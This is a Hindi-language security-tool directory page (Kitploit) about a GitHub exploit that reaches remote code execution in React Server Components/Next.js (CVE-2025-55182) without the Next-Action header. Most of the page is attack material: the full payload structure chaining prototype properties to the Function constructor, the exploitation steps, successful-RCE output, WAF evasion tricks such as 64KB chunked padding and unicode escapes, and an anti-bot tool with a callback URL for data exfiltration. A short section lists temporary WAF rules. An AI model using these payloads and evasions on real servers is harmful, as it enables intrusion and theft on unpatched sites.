Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-55182-bypass — CVE-2025-55182 (React Server Components RCE) के लिए हेडर बाईपास | Kitploit
उपकरण/GitHubGitHub/ejpir/cve-2025-55182-bypass
भेद्यता विश्लेषणशोषणआईडीएस/आईपीएस से बचनावेब एप्लिकेशन शोषणWAF बाईपासपेनिट्रेशन टेस्टिंगरेड टीमिंगपेलोड डेवलपमेंट
GitHubejpir/cve-2025-55182-bypass

CVE-2025-55182-bypass

CVE-2025-55182 (React Server Components RCE) के लिए हेडर बाईपास

रिपॉजिटरी देखें
6339 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-55182 हेडर बाइपास

CVE-2025-55182 के लिए Next-Action हेडर बाइपास। विशिष्ट हेडर के बिना React RSC RCE प्राप्त करता है, WAF नियमों को बायपास करता है।

मुख्य खोज

शोषण के लिए Next-Action हेडर आवश्यक नहीं है।

हमला वेक्टरNext-Action हेडरWAF पहचान
मूल CVEआवश्यकपहचान योग्य
यह बाइपासआवश्यक नहींहेडर नियमों को टालता है

यह कैसे काम करता है

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────────┐
│                        ORIGINAL EXPLOIT (with header)                        │
├─────────────────────────────────────────────────────────────────────────────┤
│  POST / HTTP/1.1                                                            │
│  Next-Action: <action-id>  ← Header required                                │
│  Content-Type: multipart/form-data                                          │
│                                                                             │
│  isFetchAction = true → decodeReply() → Chunk.prototype.then() → RCE       │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│                        HEADER BYPASS (no header)                             │
├─────────────────────────────────────────────────────────────────────────────┤
│  POST / HTTP/1.1                                                            │
│  Content-Type: multipart/form-data  ← NO Next-Action header!                │
│                                                                             │
│  isMultipartAction = true → decodeAction() → loadServerReference()          │
│      → Promise.all([bound]) → bound.then() → RCE                            │
└─────────────────────────────────────────────────────────────────────────────┘

मूल कारण

root@kitploit:~
const isServerAction = isFetchAction || isURLEncodedAction || isMultipartAction;

if (isMultipartAction && !isFetchAction) {
    const action = await decodeAction(formData, serverModuleMap); // BYPASS PATH
    await action();  // RCE
}

शोषण प्रवाह

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────────┐
│  Step 1: Extract Action ID                                                   │
│  GET / → Extract from hidden inputs: <input name="$ACTION_ID_<40-hex>"/>    │
└─────────────────────────────────────────────────────────────────────────────┘
                                    │
                                    ▼
┌─────────────────────────────────────────────────────────────────────────────┐
│  Step 2: Send Exploit (NO Next-Action header)                                │
│  POST / HTTP/1.1                                                            │
│  Content-Type: multipart/form-data; boundary=x                              │
│                                                                             │
│  $ACTION_REF_0: x                                                           │
│  $ACTION_0:0: {"id":"<ACTION_ID>","bound":"$@1"}                            │
│  $ACTION_0:1: <exploit payload>                                             │
│  $ACTION_0:2: "$@1"                                                         │
│  $ACTION_0:3: []                                                            │
└─────────────────────────────────────────────────────────────────────────────┘
                                    │
                                    ▼
┌─────────────────────────────────────────────────────────────────────────────┐
│  Step 3: Thenable Chain Execution                                            │
│                                                                             │
│  bound: "$@1" → Chunk(1)                                                    │
│      → Promise.all([bound]) calls bound.then()                              │
│      → then: "$2:__proto__:then" → Chunk.prototype.then()                   │
│      → initializeModelChunk() → "$B1337" handler                            │
│      → _formData.get = "$2:constructor:constructor" → Function              │
│      → Function(RCE_CODE) → Code Execution                                  │
└─────────────────────────────────────────────────────────────────────────────┘

उदाहरण आउटपुट

root@kitploit:~
❯ node test-bypass-2step.cjs
============================================================
CVE-2025-55182 Header Bypass - 2-Step Exploit
============================================================
Target: http://localhost:3000/

[Step 1] Fetching page to extract action IDs...
 ✓ Compiled / in 1105ms (523 modules)
[+] Found 1 action ID(s):
    c1cfa77a4481950d44c534f3a8174689deaefe80

[Step 2] Sending exploit payload (NO Next-Action header)...

------------------------------------------------------------
REQUEST HEADERS:
------------------------------------------------------------
POST / HTTP/1.1
Host: localhost:3000
Content-Type: multipart/form-data; boundary=----FormBoundary1765143043445
(NO Next-Action header!)

------------------------------------------------------------
REQUEST BODY (multipart form):
------------------------------------------------------------
$ACTION_REF_0: x
$ACTION_0:0 (metadata): {"id":"c1cfa77a4481950d44c534f3a8174689deaefe80","bound":"$@1"}
$ACTION_0:1 (exploit):  {"then":"$2:__proto__:then","status":"resolved_model",...}
$ACTION_0:2 (circular): "$@1"
$ACTION_0:3 (empty):    []

============================================================
*** RCE SUCCESSFUL! ***
============================================================
Proof: 2-STEP RCE SUCCESS 1765143043451

पेलोड संरचना

root@kitploit:~
// $ACTION_0:0 - Action metadata
{"id": "<40-char-action-id>", "bound": "$@1"}

// $ACTION_0:1 - Exploit object
{
  "then": "$2:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "<RCE_CODE>//",
    "_chunks": "$Q3",
    "_formData": {"get": "$2:constructor:constructor"}
  }
}

// $ACTION_0:2 - Circular reference
"$@1"

// $ACTION_0:3 - Empty array for Map
[]

WAF चोरी तकनीकें

तकनीकविधिपरीक्षित
चंक्ड पैडिंग64KB+ पैडिंग WAF बफ़र्स को ख़त्म करता है✓ RCE
यूनिकोड एस्केप\u0074\u0068\u0065\u006e for then✓
URL-एन्कोडेड नाम%24ACTION_REF_0✓
चर इंडेक्स$ACTION_REF_abc, $ACTION_XyZ:0✓ RCE

चंक्ड ट्रांसफर पैडिंग के साथ

root@kitploit:~
POST / HTTP/1.1
Transfer-Encoding: chunked

10200                         ← 64KB padding
--x
Content-Disposition: form-data; name="data"
AAAA... (64KB)
--x
Content-Disposition: form-data; name="$ACTION_REF_0"
...
0

प्रभावित संस्करण

पैकेजअसुरक्षितसही
react-server-dom-webpack19.0.0 - 19.2.019.0.1+, 19.1.2+, 19.2.1+
Next.js15.x, 16.x15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

परीक्षण

root@kitploit:~
npm install
npm run build && npm run start

# Run exploit
node test-chunked-v14.cjs      # For AWS WAF testing
node test-bypass-2step.cjs     # 2-step automated

# Verify
cat /tmp/2STEP-RCE.txt

एंटीबॉट बाइपास (Puppeteer)

JS चुनौतियों वाले लक्ष्यों (Vercel, Cloudflare) के लिए, Puppeteer-आधारित एक्सप्लॉइट का उपयोग करें:

root@kitploit:~
node antibot.cjs [options]

Options:
  -t, --target <host>    Target hostname
  -p, --port <port>      Target port
  -c, --callback <url>   Callback URL for data exfil
  --http                 Use HTTP instead of HTTPS
  --https                Use HTTPS (default)
  -h, --help             Show help

Examples:
  node antibot.cjs -t example.vercel.app
  node antibot.cjs -t localhost -p 3000 --http
  node antibot.cjs -t target.com -c https://callback.example.com/exfil

निवारण

पैच ही एकमात्र विश्वसनीय समाधान है।

अस्थायी WAF नियम

  1. बॉडी में $ACTION_REF_ उपसर्ग को ब्लॉक करें (पहले URL-डिकोड करें)
  2. $ACTION_[^:]+: रेगेक्स पैटर्न को ब्लॉक करें
  3. मिलान से पहले यूनिकोड को सामान्य करें
  4. बड़े फ़ील्ड (>8KB) को छोड़ें, छोटे फ़ील्ड को पार्स करना जारी रखें

श्रेय

  • मूल CVE-2025-55182: Assetnote Research (react2shell.com)
  • शोषण श्रृंखला: maple3142
  • हेडर बाइपास खोज: स्वतंत्र अनुसंधान

संदर्भ

  • CVE-2025-55182
  • Next.js Security Advisory
  • AWS WAF Rule
टूल डाउनलोड करें